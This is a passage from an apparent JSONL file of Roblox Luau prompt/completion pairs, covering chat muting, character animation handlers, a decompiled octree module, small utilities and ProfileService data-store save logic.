StarterGui:GetCore(\"PlayerBlockedEvent\")\n\tPlayerMutedEvent = StarterGui:GetCore(\"PlayerMutedEvent\")\n\tPlayerUnBlockedEvent = StarterGui:GetCore(\"PlayerUnblockedEvent\")\n\tPlayerUnMutedEvent = StarterGui:GetCore(\"PlayerUnmutedEvent\")\nend)\n\nfunction SendSystemMessageToSelf(message)\n\tlocal currentChannel = ChatWindow:GetCurrentChannel()\n\n\tif currentChannel then\n\t\tlocal messageData =\n\t\t{\n\t\t\tID = -1,\n\t\t\tFromSpeaker = nil,\n\t\t\tSpeakerUserId = 0,\n\t\t\tOriginalChannel = currentChannel.Name,\n\t\t\tIsFiltered = true,\n\t\t\tMessageLength = string.len(message),\n\t\t\tMessage = trimTrailingSpaces(message),\n\t\t\tMessageType = ChatConstants.MessageTypeSystem,\n\t\t\tTime = os.time(),\n\t\t\tExtraData = nil,\n\t\t}\n\n\t\tcurrentChannel:AddMessageToChannel(messageData)\n\tend\nend\n\nfunction MutePlayer(player)\n\tlocal mutePlayerRequest = DefaultChatSystemChatEvents:FindFirstChild(\"MutePlayerRequest\")\n\tif mutePlayerRequest then\n\t\treturn mutePlayerRequest:InvokeServer(player.Name)\n\tend\n\treturn false\nend\n\nif PlayerBlockedEvent then\n\tPlayerBlockedEvent.Event:connect(function(player)\n\t\tif MutePlayer(player) then\n\t\t\tSendSystemMessageToSelf(\n\t\t\t\tstring.gsub(\n\t\t\t\t\tChatLocalization:Get(\n\t\t\t\t\t\t\"GameChat_ChatMain_SpeakerHasBeenBlocked\", \n\t\t\t\t\t\tstring.format(\"Speaker '%s' has been blocked.\", player.Name)\n\t\t\t\t\t),\n\t\t\t\t\t\"{RBX_NAME}\",player.Name\n\t\t\t\t)\n\t\t\t)\n\t\tend\n\tend)\nend\n\nif PlayerMutedEvent then\n\tPlayerMutedEvent.Event:connect(function(player)\n\t\tif MutePlayer(player) then\n\t\t\tSendSystemMessageToSelf(\n\t\t\t\tstring.gsub(\n\t\t\t\t\tChatLocalization:Get(\n\t\t\t\t\t\t\"GameChat_ChatMain_SpeakerHasBeenMuted\", \n\t\t\t\t\t\tstring.format(\"Speaker '%s' has been muted.\", player.Name)\n\t\t\t\t\t),\n\t\t\t\t\t\"{RBX_NAME}\", player.Name\n\t\t\t\t)\n\t\t\t)\n\t\tend\n\tend)\nend\n\nfunction UnmutePlayer(player)\n\tlocal unmutePlayerRequest = DefaultChatSystemChatEvents:FindFirstChild(\"UnMutePlayerRequest\")\n\tif unmutePlayerRequest then\n\t\treturn unmutePlayerRequest:InvokeServer(player.Name)\n\tend\n\treturn false\nend\n\nif PlayerUnBlockedEvent then\n\tPlayerUnBlockedEvent.Event:connect(function(player)\n\t\tif UnmutePlayer(player) then\n\t\t\tSendSystemMessageToSelf(\n\t\t\t\tstring.gsub(\n\t\t\t\t\tChatLocalization:Get(\n\t\t\t\t\t\t\"GameChat_ChatMain_SpeakerHasBeenUnBlocked\", \n\t\t\t\t\t\tstring.format(\"Speaker '%s' has been unblocked.\", player.Name)\n\t\t\t\t\t),\n\t\t\t\t\t\"{RBX_NAME}\",player.Name\n\t\t\t\t)\n\t\t\t)\n\t\tend\n\tend)\nend\n\nif PlayerUnMutedEvent then\n\tPlayerUnMutedEvent.Event:connect(function(player)\n\t\tif UnmutePlayer(player) then\n\t\t\tSendSystemMessageToSelf(\n\t\t\t\tstring.gsub(\n\t\t\t\t\tChatLocalization:Get(\n\t\t\t\t\t\t\"GameChat_ChatMain_SpeakerHasBeenUnMuted\", \n\t\t\t\t\t\tstring.format(\"Speaker '%s' has been unmuted.\", player.Name)\n\t\t\t\t\t),\n\t\t\t\t\t\"{RBX_NAME}\",player.Name\n\t\t\t\t)\n\t\t\t)\n\t\tend\n\tend)\nend\n"} +{"prompt": "-------------------------------------------------------------------------------------------\n-------------------------------------------------------------------------------------------", "completion": "\n\nfunction onRunning(speed)\n\tif speed > 0.01 then\n\t\tplayAnimation(\"walk\", 0.1, Humanoid)\n\t\tsetAnimationSpeed(speed / 14.5)\n\t\tpose = \"Running\"\n\telse\n\t\tif emoteNames[currentAnim] == nil then\n\t\t\tplayAnimation(\"idle\", 0.1, Humanoid)\n\t\t\tpose = \"Standing\"\n\t\tend\n\tend\nend\n\nfunction onDied()\n\tpose = \"Dead\"\nend\n\nfunction onJumping()\n\tplayAnimation(\"jump\", 0.1, Humanoid)\n\tjumpAnimTime = jumpAnimDuration\n\tpose = \"Jumping\"\nend\n\nfunction onClimbing(speed)\n\tplayAnimation(\"climb\", 0.1, Humanoid)\n\tsetAnimationSpeed(speed / 12.0)\n\tpose = \"Climbing\"\nend\n\nfunction onGettingUp()\n\tpose = \"GettingUp\"\nend\n\nfunction onFreeFall()\n\tif (jumpAnimTime <= 0) then\n\t\tplayAnimation(\"fall\", fallTransitionTime, Humanoid)\n\tend\n\tpose = \"FreeFall\"\nend\n\nfunction onFallingDown()\n\tpose = \"FallingDown\"\nend\n\nfunction onSeated()\n\tpose = \"Seated\"\nend\n\nfunction onPlatformStanding()\n\tpose = \"PlatformStanding\"\nend\n\nfunction onSwimming(speed)\n\tif speed > 0 then\n\t\tpose = \"Running\"\n\telse\n\t\tpose = \"Standing\"\n\tend\nend\n\nfunction moveSit()\n\tRightShoulder.MaxVelocity = 0.15\n\tLeftShoulder.MaxVelocity = 0.15\n\tRightShoulder:SetDesiredAngle(3.14 /2)\n\tLeftShoulder:SetDesiredAngle(-3.14 /2)\n\tRightHip:SetDesiredAngle(3.14 /2)\n\tLeftHip:SetDesiredAngle(-3.14 /2)\nend\n\nlocal lastTick = 0\n\nfunction move(time)\n\tlocal amplitude = 1\n\tlocal frequency = 1\n \tlocal deltaTime = time - lastTick\n \tlastTick = time\n\n\tlocal climbFudge = 0\n\tlocal setAngles = false\n\n \tif (jumpAnimTime > 0) then\n \t\tjumpAnimTime = jumpAnimTime - deltaTime\n \tend\n\n\tif (pose == \"FreeFall\" and jumpAnimTime <= 0) then\n\t\tplayAnimation(\"fall\", fallTransitionTime, Humanoid)\n\telseif (pose == \"Seated\") then\n\t\tplayAnimation(\"sit\", 0.5, Humanoid)\n\t\treturn\n\telseif (pose == \"Running\") then\n\t\tplayAnimation(\"walk\", 0.1, Humanoid)\n\telseif (pose == \"Dead\" or pose == \"GettingUp\" or pose == \"FallingDown\" or pose == \"Seated\" or pose == \"PlatformStanding\") then"} +{"prompt": "-- Decompiled with the Synapse X Luau decompiler.", "completion": "\n\nlocal v1 = {\n\tClassName = \"OctreeNode\"\n};\nv1.__index = v1;\nfunction v1.new(p1, p2)\n\treturn setmetatable({\n\t\tOctree = p1 or error(\"No octree\"), \n\t\tObject = p2 or error(\"No object\"), \n\t\tCurrentLowestRegion = nil, \n\t\tPosition = nil, \n\t\tPositionX = nil, \n\t\tPositionY = nil, \n\t\tPositionZ = nil\n\t}, v1);\nend;\nfunction v1.KNearestNeighborsSearch(p3, p4, p5)\n\treturn p3.Octree:KNearestNeighborsSearch(p3.Position, p4, p5);\nend;\nfunction v1.GetObject(p6)\n\twarn(\"OctreeNode:GetObject is deprecated.\");\n\treturn p6.Object;\nend;\nfunction v1.RadiusSearch(p7, p8)\n\treturn p7.Octree:RadiusSearch(p7.Position, p8);\nend;\nfunction v1.GetPosition(p9)\n\twarn(\"OctreeNode:GetPosition is deprecated.\");\n\treturn p9.Position;\nend;\nfunction v1.GetRawPosition(p10)\n\treturn p10.PositionX, p10.PositionY, p10.PositionZ;\nend;\nfunction v1.SetPosition(p11, p12)\n\tif p11.Position == p12 then\n\t\treturn;\n\tend;\n\tlocal l__X__2 = p12.X;\n\tlocal l__Y__3 = p12.Y;\n\tlocal l__Z__4 = p12.Z;\n\tp11.PositionX = l__X__2;\n\tp11.PositionY = l__Y__3;\n\tp11.PositionZ = l__Z__4;\n\tp11.Position = p12;\n\tif p11.CurrentLowestRegion then\n\t\tlocal l__CurrentLowestRegion__5 = p11.CurrentLowestRegion;\n\t\tlocal l__LowerBounds__6 = l__CurrentLowestRegion__5.LowerBounds;\n\t\tlocal l__UpperBounds__7 = l__CurrentLowestRegion__5.UpperBounds;\n\t\tif l__LowerBounds__6[1] <= l__X__2 and l__X__2 <= l__UpperBounds__7[1] and l__LowerBounds__6[2] <= l__Y__3 and l__Y__3 <= l__UpperBounds__7[2] and l__LowerBounds__6[3] <= l__Z__4 and l__Z__4 <= l__UpperBounds__7[3] then\n\t\t\treturn;\n\t\tend;\n\tend;\n\tlocal v8 = p11.Octree:GetOrCreateLowestSubRegion(l__X__2, l__Y__3, l__Z__4);\n\tif p11.CurrentLowestRegion then\n\t\tlocal l__CurrentLowestRegion__9 = p11.CurrentLowestRegion;\n\t\tif l__CurrentLowestRegion__9.Depth ~= v8.Depth then\n\t\t\terror(\"fromLowest.Depth ~= toLowest.Depth\");\n\t\tend;\n\t\tif l__CurrentLowestRegion__9 == v8 then\n\t\t\terror(\"fromLowest == toLowest\");\n\t\tend;\n\t\tlocal v10 = l__CurrentLowestRegion__9;\n\t\tlocal v11 = v8;\n\t\twhile v10 ~= v11 do\n\t\t\tlocal l__Nodes__12 = v10.Nodes;\n\t\t\tif not l__Nodes__12[p11] then\n\t\t\t\terror(\"CurrentFrom.Nodes doesn't have a node here.\");\n\t\t\tend;\n\t\t\tlocal l__NodeCount__13 = v10.NodeCount;\n\t\t\tif l__NodeCount__13 <= 0 then\n\t\t\t\terror(\"NodeCount is <= 0.\");\n\t\t\tend;\n\t\t\tlocal v14 = l__NodeCount__13 - 1;\n\t\t\tl__Nodes__12[p11] = nil;\n\t\t\tv10.NodeCount = v14;\n\t\t\tlocal l__ParentIndex__15 = v10.ParentIndex;\n\t\t\tif v14 <= 0 and l__ParentIndex__15 then\n\t\t\t\tlocal l__Parent__16 = v10.Parent;\n\t\t\t\tif not l__Parent__16 then\n\t\t\t\t\terror(\"CurrentFrom.Parent doesn't exist.\");\n\t\t\t\tend;\n\t\t\t\tlocal l__SubRegions__17 = l__Parent__16.SubRegions;\n\t\t\t\tif l__SubRegions__17[l__ParentIndex__15] ~= v10 then\n\t\t\t\t\terror(\"Failed equality check.\");\n\t\t\t\tend;\n\t\t\t\tl__SubRegions__17[l__ParentIndex__15] = nil;\n\t\t\tend;\n\t\t\tlocal l__Nodes__18 = v11.Nodes;\n\t\t\tif l__Nodes__18[p11] then\n\t\t\t\terror(\"CurrentTo.Nodes already has a node here.\");\n\t\t\tend;\n\t\t\tl__Nodes__18[p11] = p11;\n\t\t\tv11.NodeCount = v11.NodeCount + 1;\n\t\t\tv10 = v10.Parent;\n\t\t\tv11 = v11.Parent;\t\t\n\t\tend;\n\telse\n\t\tlocal v19 = v8;\n\t\twhile v19 do\n\t\t\tlocal l__Nodes__20 = v19.Nodes;\n\t\t\tif not l__Nodes__20[p11] then\n\t\t\t\tl__Nodes__20[p11] = p11;\n\t\t\t\tv19.NodeCount = v19.NodeCount + 1;\n\t\t\tend;\n\t\t\tv19 = v19.Parent;\t\t\n\t\tend;\n\tend;\n\tp11.CurrentLowestRegion = v8;\nend;\nfunction v1.Destroy(p13)\n\tlocal l__CurrentLowestRegion__21 = p13.CurrentLowestRegion;\n\tif l__CurrentLowestRegion__21 then\n\t\tlocal v22 = l__CurrentLowestRegion__21;\n\t\twhile v22 do\n\t\t\tlocal l__Nodes__23 = v22.Nodes;\n\t\t\tif not l__Nodes__23[p13] then\n\t\t\t\terror(\"CurrentFrom.Nodes doesn't have a node here.\");\n\t\t\tend;\n\t\t\tlocal l__NodeCount__24 = v22.NodeCount;\n\t\t\tif l__NodeCount__24 <= 0 then\n\t\t\t\terror(\"NodeCount is <= 0.\");\n\t\t\tend;\n\t\t\tlocal v25 = l__NodeCount__24 - 1;\n\t\t\tl__Nodes__23[p13] = nil;\n\t\t\tv22.NodeCount = v25;\n\t\t\tlocal l__Parent__26 = v22.Parent;\n\t\t\tlocal l__ParentIndex__27 = v22.ParentIndex;\n\t\t\tif v25 <= 0 and l__ParentIndex__27 then\n\t\t\t\tif not l__Parent__26 then\n\t\t\t\t\terror(\"Current.Parent doesn't exist.\");\n\t\t\t\tend;\n\t\t\t\tlocal l__SubRegions__28 = l__Parent__26.SubRegions;\n\t\t\t\tif l__SubRegions__28[l__ParentIndex__27] ~= v22 then\n\t\t\t\t\terror(\"Failed equality check.\");\n\t\t\t\tend;\n\t\t\t\tl__SubRegions__28[l__ParentIndex__27] = nil;\n\t\t\tend;\n\t\t\tv22 = l__Parent__26;\t\t\n\t\tend;\n\tend;\nend;\nreturn v1;\n\n"} +{"prompt": "--You have to put this script in ServerScriptService for it to work, and you also have to go to line 9 and change then name to the people you want to have the tag.", "completion": "\n"} +{"prompt": "-- Target finding state", "completion": "\nlocal target = nil\nlocal newTarget = nil\nlocal newTargetDistance = nil\nlocal searchIndex = 0\nlocal timeSearchEnded = 0\nlocal searchRegion = nil\nlocal searchParts = nil\nlocal movingToAttack = false\nlocal lastAttackTime = 0\n"} +{"prompt": "--[[\n\tCreate a dictionary where each value in the given list corresponds to a key\n\tin the dictionary with a value of true\n]]", "completion": "\n\nlocal function toSet(list)\n\tlocal new = {}\n\n\tfor i = 1, #list do\n\t\tnew[list[i]] = true\n\tend\n\n\treturn new\nend\n\nreturn toSet\n"} +{"prompt": "--[[\n\tReturns the current value of this Spring object.\n\tThe object will be registered as a dependency unless `asDependency` is false.\n]]", "completion": "\nfunction class:get(asDependency: boolean?)\n\tif asDependency ~= false then\n\t\tuseDependency(self)\n\tend\n\treturn self._currentValue\nend\n"} +{"prompt": "--[[\n The BaseValueStore Component is a component that holds number values, allowing easy management of them,\n including incrementing and setting. Each value is tied to a name, which is used to identify the value.\n]]", "completion": "\nlocal ReplicatedStorage = game:GetService(\"ReplicatedStorage\")\n\nlocal BaseComponent = require(ReplicatedStorage.Source.Common.Components.BaseComponent)\n"} +{"prompt": "-- These values are added to the beginning/end of the kick message, respectively", "completion": "\nlocal MESSAGE_PREFIX = \"\\n\\n\"\nlocal MESSAGE_POSTFIX = \"\"\n"} +{"prompt": "--[=[\n @class Types\n All types used by Chickynoid.\n]=]", "completion": "\n"} +{"prompt": "-------------------------------------------------------------------------------------------\n-------------------------------------------------------------------------------------------\n-- STATE CHANGE HANDLERS", "completion": "\n\nfunction onRunning(speed)\t\n\tif speed > 0.75 then\n\t\tlocal scale = 16.0\n\t\tplayAnimation(\"walk\", 0.2, Humanoid)\n\t\tsetAnimationSpeed(speed / scale)\n\t\tpose = \"Running\"\n\telse\n\t\tif emoteNames[currentAnim] == nil and not currentlyPlayingEmote then\n\t\t\tplayAnimation(\"idle\", 0.2, Humanoid)\n\t\t\tpose = \"Standing\"\n\t\tend\n\tend\nend\n\nfunction onDied()\n\tpose = \"Dead\"\nend\n\nfunction onJumping()\n\tplayAnimation(\"jump\", 0.1, Humanoid)\n\tjumpAnimTime = jumpAnimDuration\n\tpose = \"Jumping\"\nend\n\nfunction onClimbing(speed)\n\tlocal scale = 5.0\n\tplayAnimation(\"climb\", 0.1, Humanoid)\n\tsetAnimationSpeed(speed / scale)\n\tpose = \"Climbing\"\nend\n\nfunction onGettingUp()\n\tpose = \"GettingUp\"\nend\n\nfunction onFreeFall()\n\tif (jumpAnimTime <= 0) then\n\t\tplayAnimation(\"fall\", fallTransitionTime, Humanoid)\n\tend\n\tpose = \"FreeFall\"\nend\n\nfunction onFallingDown()\n\tpose = \"FallingDown\"\nend\n\nfunction onSeated()\n\tpose = \"Seated\"\nend\n\nfunction onPlatformStanding()\n\tpose = \"PlatformStanding\"\nend\n"} +{"prompt": "-- Existance in this list signifies that it is an emote, the value indicates if it is a looping emote", "completion": "\nlocal emoteNames = { wave = false, point = false, dance = true, dance2 = true, dance3 = true, laugh = false, cheer = false}\n\nmath.randomseed(tick())\n\nfunction findExistingAnimationInSet(set, anim)\n\tif set == nil or anim == nil then\n\t\treturn 0\n\tend\n\n\tfor idx = 1, set.count, 1 do \n\t\tif set[idx].anim.AnimationId == anim.AnimationId then\n\t\t\treturn idx\n\t\tend\n\tend\n\n\treturn 0\nend\n\nfunction configureAnimationSet(name, fileList)\n\tif (animTable[name] ~= nil) then\n\t\tfor _, connection in pairs(animTable[name].connections) do\n\t\t\tconnection:disconnect()\n\t\tend\n\tend\n\tanimTable[name] = {}\n\tanimTable[name].count = 0\n\tanimTable[name].totalWeight = 0\t\n\tanimTable[name].connections = {}\n\n\tlocal allowCustomAnimations = true\n\n\tlocal success, msg = pcall(function() allowCustomAnimations = game:GetService(\"StarterPlayer\").AllowCustomAnimations end)\n\tif not success then\n\t\tallowCustomAnimations = true\n\tend\n\n\t-- check for config values\n\tlocal config = script:FindFirstChild(name)\n\tif (allowCustomAnimations and config ~= nil) then\n\t\ttable.insert(animTable[name].connections, config.ChildAdded:connect(function(child) configureAnimationSet(name, fileList) end))\n\t\ttable.insert(animTable[name].connections, config.ChildRemoved:connect(function(child) configureAnimationSet(name, fileList) end))\n\n\t\tlocal idx = 0\n\t\tfor _, childPart in pairs(config:GetChildren()) do\n\t\t\tif (childPart:IsA(\"Animation\")) then\n\t\t\t\tlocal newWeight = 1\n\t\t\t\tlocal weightObject = childPart:FindFirstChild(\"Weight\")\n\t\t\t\tif (weightObject ~= nil) then\n\t\t\t\t\tnewWeight = weightObject.Value\n\t\t\t\tend\n\t\t\t\tanimTable[name].count = animTable[name].count + 1\n\t\t\t\tidx = animTable[name].count\n\t\t\t\tanimTable[name][idx] = {}\n\t\t\t\tanimTable[name][idx].anim = childPart\n\t\t\t\tanimTable[name][idx].weight = newWeight\n\t\t\t\tanimTable[name].totalWeight = animTable[name].totalWeight + animTable[name][idx].weight\n\t\t\t\ttable.insert(animTable[name].connections, childPart.Changed:connect(function(property) configureAnimationSet(name, fileList) end))\n\t\t\t\ttable.insert(animTable[name].connections, childPart.ChildAdded:connect(function(property) configureAnimationSet(name, fileList) end))\n\t\t\t\ttable.insert(animTable[name].connections, childPart.ChildRemoved:connect(function(property) configureAnimationSet(name, fileList) end))\n\t\t\tend\n\t\tend\n\tend\n\n\t-- fallback to defaults\n\tif (animTable[name].count <= 0) then\n\t\tfor idx, anim in pairs(fileList) do\n\t\t\tanimTable[name][idx] = {}\n\t\t\tanimTable[name][idx].anim = Instance.new(\"Animation\")\n\t\t\tanimTable[name][idx].anim.Name = name\n\t\t\tanimTable[name][idx].anim.AnimationId = anim.id\n\t\t\tanimTable[name][idx].weight = anim.weight\n\t\t\tanimTable[name].count = animTable[name].count + 1\n\t\t\tanimTable[name].totalWeight = animTable[name].totalWeight + anim.weight\n\t\tend\n\tend\n\n\t-- preload anims\n\tfor i, animType in pairs(animTable) do\n\t\tfor idx = 1, animType.count, 1 do\n\t\t\tif PreloadedAnims[animType[idx].anim.AnimationId] == nil then\n\t\t\t\tHumanoid:LoadAnimation(animType[idx].anim)\n\t\t\t\tPreloadedAnims[animType[idx].anim.AnimationId] = true\n\t\t\tend\t\t\t\t\n\t\tend\n\tend\nend\n"} +{"prompt": "--[[\nupdate_settings = {\n\tExistingProfileHandle = function(latest_data),\n\tMissingProfileHandle = function(latest_data),\n\tEditProfile = function(lastest_data),\n\t\n\tWipeProfile = nil / true,\n}\n--]]", "completion": "\nlocal function StandardProfileUpdateAsyncDataStore(profile_store, profile_key, update_settings, is_user_mock)\n\tlocal loaded_data\n\tlocal wipe_status = false\n\tlocal success, error_message = pcall(function()\n\t\tif update_settings.WipeProfile ~= true then\n\t\t\tlocal transform_function = function(latest_data)\n\t\t\t\tif latest_data == \"PROFILE_WIPED\" then\n\t\t\t\t\tlatest_data = nil -- Profile was previously wiped - ProfileService will act like it was empty\n\t\t\t\tend\n\n\t\t\t\tlocal missing_profile = false\n\t\t\t\tlocal data_corrupted = false\n\t\t\t\tlocal global_updates_data = {0, {}}\n\n\t\t\t\tif latest_data == nil then\n\t\t\t\t\tmissing_profile = true\n\t\t\t\telseif type(latest_data) ~= \"table\" then\n\t\t\t\t\tmissing_profile = true\n\t\t\t\t\tdata_corrupted = true\n\t\t\t\tend\n\n\t\t\t\tif type(latest_data) == \"table\" then\n\t\t\t\t\t-- Case #1: Profile was loaded\n\t\t\t\t\tif type(latest_data.Data) == \"table\" and\n\t\t\t\t\t\ttype(latest_data.MetaData) == \"table\" and\n\t\t\t\t\t\ttype(latest_data.GlobalUpdates) == \"table\" then\n\n\t\t\t\t\t\tlatest_data.WasCorrupted = false -- Must be set to false if set previously\n\t\t\t\t\t\tglobal_updates_data = latest_data.GlobalUpdates\n\t\t\t\t\t\tif update_settings.ExistingProfileHandle ~= nil then\n\t\t\t\t\t\t\tupdate_settings.ExistingProfileHandle(latest_data)\n\t\t\t\t\t\tend\n\t\t\t\t\t\t-- Case #2: Profile was not loaded but GlobalUpdate data exists\n\t\t\t\t\telseif latest_data.Data == nil and\n\t\t\t\t\t\tlatest_data.MetaData == nil and\n\t\t\t\t\t\ttype(latest_data.GlobalUpdates) == \"table\" then\n\n\t\t\t\t\t\tlatest_data.WasCorrupted = false -- Must be set to false if set previously\n\t\t\t\t\t\tglobal_updates_data = latest_data.GlobalUpdates\n\t\t\t\t\t\tmissing_profile = true\n\t\t\t\t\telse\n\t\t\t\t\t\tmissing_profile = true\n\t\t\t\t\t\tdata_corrupted = true\n\t\t\t\t\tend\n\t\t\t\tend\n\n\t\t\t\t-- Case #3: Profile was not created or corrupted and no GlobalUpdate data exists\n\t\t\t\tif missing_profile == true then\n\t\t\t\t\tlatest_data = {\n\t\t\t\t\t\t-- Data = nil,\n\t\t\t\t\t\t-- MetaData = nil,\n\t\t\t\t\t\tGlobalUpdates = global_updates_data,\n\t\t\t\t\t}\n\t\t\t\t\tif update_settings.MissingProfileHandle ~= nil then\n\t\t\t\t\t\tupdate_settings.MissingProfileHandle(latest_data)\n\t\t\t\t\tend\n\t\t\t\tend\n\n\t\t\t\t-- Editing profile:\n\t\t\t\tif update_settings.EditProfile ~= nil then\n\t\t\t\t\tupdate_settings.EditProfile(latest_data)\n\t\t\t\tend\n\n\t\t\t\t-- Data corruption handling (Silently override with empty profile) (Also run Case #1)\n\t\t\t\tif data_corrupted == true then\n\t\t\t\t\tlatest_data.WasCorrupted = true -- Temporary tag that will be removed on first save\n\t\t\t\tend\n\n\t\t\t\treturn latest_data\n\t\t\tend\n\t\t\tif is_user_mock == true then -- Used when the profile is accessed through ProfileStore.Mock\n\t\t\t\tloaded_data = MockUpdateAsync(UserMockDataStore, profile_store._profile_store_lookup, profile_key, transform_function)\n\t\t\t\tMadwork.HeartbeatWait() -- Simulate API call yield\n\t\t\telseif UseMockDataStore == true then -- Used when API access is disabled\n\t\t\t\tloaded_data = MockUpdateAsync(MockDataStore, profile_store._profile_store_lookup, profile_key, transform_function)\n\t\t\t\tMadwork.HeartbeatWait() -- Simulate API call yield\n\t\t\telse\n\t\t\t\tloaded_data = CustomWriteQueueAsync(\n\t\t\t\t\tfunction() -- Callback\n\t\t\t\t\t\treturn profile_store._global_data_store:UpdateAsync(profile_key, transform_function)\n\t\t\t\t\tend,\n\t\t\t\t\tprofile_store._profile_store_lookup, -- Store\n\t\t\t\t\tprofile_key -- Key\n\t\t\t\t)\n\t\t\tend\n\t\telse\n\t\t\tif is_user_mock == true then -- Used when the profile is accessed through ProfileStore.Mock\n\t\t\t\tlocal mock_data_store = UserMockDataStore[profile_store._profile_store_lookup]\n\t\t\t\tif mock_data_store ~= nil then\n\t\t\t\t\tmock_data_store[profile_key] = nil\n\t\t\t\tend\n\t\t\t\twipe_status = true\n\t\t\t\tMadwork.HeartbeatWait() -- Simulate API call yield\n\t\t\telseif UseMockDataStore == true then -- Used when API access is disabled\n\t\t\t\tlocal mock_data_store = MockDataStore[profile_store._profile_store_lookup]\n\t\t\t\tif mock_data_store ~= nil then\n\t\t\t\t\tmock_data_store[profile_key] = nil\n\t\t\t\tend\n\t\t\t\twipe_status = true\n\t\t\t\tMadwork.HeartbeatWait() -- Simulate API call yield\n\t\t\telse\n\t\t\t\tloaded_data = profile_store._global_data_store:UpdateAsync(profile_key, function()\n\t\t\t\t\treturn \"PROFILE_WIPED\" -- It's impossible to set DataStore keys to nil after they have been set\n\t\t\t\tend)\n\t\t\t\tif loaded_data == \"PROFILE_WIPED\" then\n\t\t\t\t\twipe_status = true\n\t\t\t\tend\n\t\t\tend\n\t\tend\n\tend)\n\tif update_settings.WipeProfile == true then\n\t\treturn wipe_status\n\telseif success == true and type(loaded_data) == \"table\" then\n\t\t-- Corruption handling:\n\t\tif loaded_data.WasCorrupted == true then\n\t\t\tRegisterCorruption(\n\t\t\t\tprofile_store._profile_store_name,\n\t\t\t\tprofile_store._profile_store_scope,\n\t\t\t\tprofile_key\n\t\t\t)\n\t\tend\n\t\t-- Return loaded_data:\n\t\treturn loaded_data\n\telse\n\t\tRegisterIssue(\n\t\t\t(error_message ~= nil) and error_message or \"Undefined error\",\n\t\t\tprofile_store._profile_store_name,\n\t\t\tprofile_store._profile_store_scope,\n\t\t\tprofile_key\n\t\t)\n\t\t-- Return nothing:\n\t\treturn nil\n\tend\nend\n\nlocal function RemoveProfileFromAutoSave(profile)\n\tlocal auto_save_index = table.find(AutoSaveList, profile)\n\tif auto_save_index ~= nil then\n\t\ttable.remove(AutoSaveList, auto_save_index)\n\t\tif auto_save_index < AutoSaveIndex then\n\t\t\tAutoSaveIndex = AutoSaveIndex - 1 -- Table contents were moved left before AutoSaveIndex so move AutoSaveIndex left as well\n\t\tend\n\t\tif AutoSaveList[AutoSaveIndex] == nil then -- AutoSaveIndex was at the end of the AutoSaveList - reset to 1\n\t\t\tAutoSaveIndex = 1\n\t\tend\n\tend\nend\n\nlocal function AddProfileToAutoSave(profile) -- Notice: Makes sure this profile isn't auto-saved too soon\n\t-- Add at AutoSaveIndex and move AutoSaveIndex right:\n\ttable.insert(AutoSaveList, AutoSaveIndex, profile)\n\tif #AutoSaveList > 1 then\n\t\tAutoSaveIndex = AutoSaveIndex + 1\n\telseif #AutoSaveList == 1 then\n\t\t-- First profile created - make sure it doesn't get immediately auto saved:\n\t\tLastAutoSave = os.clock()\n\tend\nend\n\nlocal function ReleaseProfileInternally(profile)\n\t-- 1) Remove profile object from ProfileService references: --\n\t-- Clear reference in ProfileStore:\n\tlocal profile_store = profile._profile_store\n\tlocal loaded_profiles = profile._is_user_mock == true and profile_store._mock_loaded_profiles or profile_store._loaded_profiles\n\tloaded_profiles[profile._profile_key] = nil\n\tif next(profile_store._loaded_profiles) == nil and next(profile_store._mock_loaded_profiles) == nil then -- ProfileStore has turned inactive\n\t\tlocal index = table.find(ActiveProfileStores, profile_store)\n\t\tif index ~= nil then\n\t\t\ttable.remove(ActiveProfileStores, index)\n\t\tend\n\tend\n\t-- Clear auto update reference:\n\tRemoveProfileFromAutoSave(profile)\n\t-- 2) Trigger release listeners: --\n\tlocal place_id\n\tlocal game_job_id\n\tlocal active_session = profile.MetaData.ActiveSession\n\tif active_session ~= nil then\n\t\tplace_id = active_session[1]\n\t\tgame_job_id = active_session[2]\n\tend\n\tprofile._release_listeners:Fire(place_id, game_job_id)\nend\n\nlocal function CheckForNewGlobalUpdates(profile, old_global_updates_data, new_global_updates_data)\n\tlocal global_updates_object = profile.GlobalUpdates -- [GlobalUpdates]\n\tlocal pending_update_lock = global_updates_object._pending_update_lock -- {update_id, ...}\n\tlocal pending_update_clear = global_updates_object._pending_update_clear -- {update_id, ...}\n\t-- \"old_\" or \"new_\" global_updates_data = {update_index, {{update_id, version_id, update_locked, update_data}, ...}}\n\tfor _, new_global_update in ipairs(new_global_updates_data[2]) do\n\t\t-- Find old global update with the same update_id:\n\t\tlocal old_global_update\n\t\tfor _, global_update in ipairs(old_global_updates_data[2]) do\n\t\t\tif global_update[1] == new_global_update[1] then\n\t\t\t\told_global_update = global_update\n\t\t\t\tbreak\n\t\t\tend\n\t\tend\n\t\t-- A global update is new when it didn't exist before or its version_id or update_locked state changed:\n\t\tlocal is_new = false\n\t\tif old_global_update == nil or new_global_update[2] > old_global_update[2] or new_global_update[3] ~= old_global_update[3] then\n\t\t\tis_new = true\n\t\tend\n\t\tif is_new == true then\n\t\t\t-- Active global updates:\n\t\t\tif new_global_update[3] == false then\n\t\t\t\t-- Check if update is not pending to be locked: (Preventing firing new active update listeners more than necessary)\n\t\t\t\tlocal is_pending_lock = false\n\t\t\t\tfor _, update_id in ipairs(pending_update_lock) do\n\t\t\t\t\tif new_global_update[1] == update_id then\n\t\t\t\t\t\tis_pending_lock = true\n\t\t\t\t\t\tbreak\n\t\t\t\t\tend\n\t\t\t\tend\n\t\t\t\tif is_pending_lock == false then\n\t\t\t\t\t-- Trigger new active update listeners:\n\t\t\t\t\tglobal_updates_object._new_active_update_listeners:Fire(new_global_update[1], new_global_update[4])\n\t\t\t\tend\n\t\t\tend\n\t\t\t-- Locked global updates:\n\t\t\tif new_global_update[3] == true then\n\t\t\t\t-- Check if update is not pending to be cleared: (Preventing firing new locked update listeners after marking a locked update for clearing)\n\t\t\t\tlocal is_pending_clear = false\n\t\t\t\tfor _, update_id in ipairs(pending_update_clear) do\n\t\t\t\t\tif new_global_update[1] == update_id then\n\t\t\t\t\t\tis_pending_clear = true\n\t\t\t\t\t\tbreak\n\t\t\t\t\tend\n\t\t\t\tend\n\t\t\t\tif is_pending_clear == false then\n\t\t\t\t\t-- Trigger new locked update listeners:\n\n\t\t\t\t\tglobal_updates_object._new_locked_update_listeners:FireUntil(\n\t\t\t\t\t\tfunction()\n\t\t\t\t\t\t\t-- Check if listener marked the update to be cleared:\n\t\t\t\t\t\t\t-- Normally there should be only one listener per profile for new locked global updates, but\n\t\t\t\t\t\t\t-- in case several listeners are connected we will not trigger more listeners after one listener\n\t\t\t\t\t\t\t-- marks the locked global update to be cleared.\n\t\t\t\t\t\t\treturn table.find(pending_update_clear, new_global_update[1]) == 